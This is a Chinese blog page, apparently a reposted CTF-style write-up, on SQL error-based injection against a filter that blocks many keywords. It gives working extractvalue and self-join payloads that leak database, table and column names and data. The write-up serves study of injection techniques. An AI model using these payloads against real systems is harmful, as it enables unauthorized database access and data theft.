码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • sql报错注入和联合注入


    1. 过滤:
    2. as
    3. IF
    4. rand()
    5. LEFT
    6. by
    7. update
    8. =
    9. substring
    10. handler
    11. union
    12. floor
    13. benchmark
    14. COLUMN
    15. UPDATE
    16. &
    17. sys.schema_auto_increment_columns
    18. &&
    19. '1'='1'
    20. database
    21. case
    22. AND
    23. right
    24. CAST
    25. FLOOR
    26. left
    27. updatexml
    28. DATABASES
    29. BENCHMARK
    30. BY
    31. sleep
    32. DATABASE
    33. insert
    34. anandd
    35. ascii
    36. CAST()

    其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。

    database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。

    1. 1'||(select * from aa)#或者将||换成or,爆出sqlsql库。
    2. -1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
    3. 爆出output表
    4. -1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
    5. 爆出data列名
    6. -1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#
    7. -1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

    由于as也被过滤,无列名注入可以用join 连接

    首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了

    select*from (select*from output a join output b)c

  • 相关阅读:
    学习Java这么久了,还没了解过Java虚拟机?这有点说不过去了啊,阿里P8总结最新Java虚拟机学习指南赶紧学起来!
    科技“蝶变”,两轮电动车下一个五年的“新动力”
    【运维知识进阶篇】Ansible自动化运维-ad-hoc详解
    Shell 编程实践
    目标检测算法
    火车票识别易语言代码
    html--鼠标跟随特效
    实验2 Python数字类型实验
    算法通关村17关 | 盘点面试大热门之区间问题
    Q-Learning
  • 原文地址:https://blog.csdn.net/m0_73847654/article/details/134534980
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号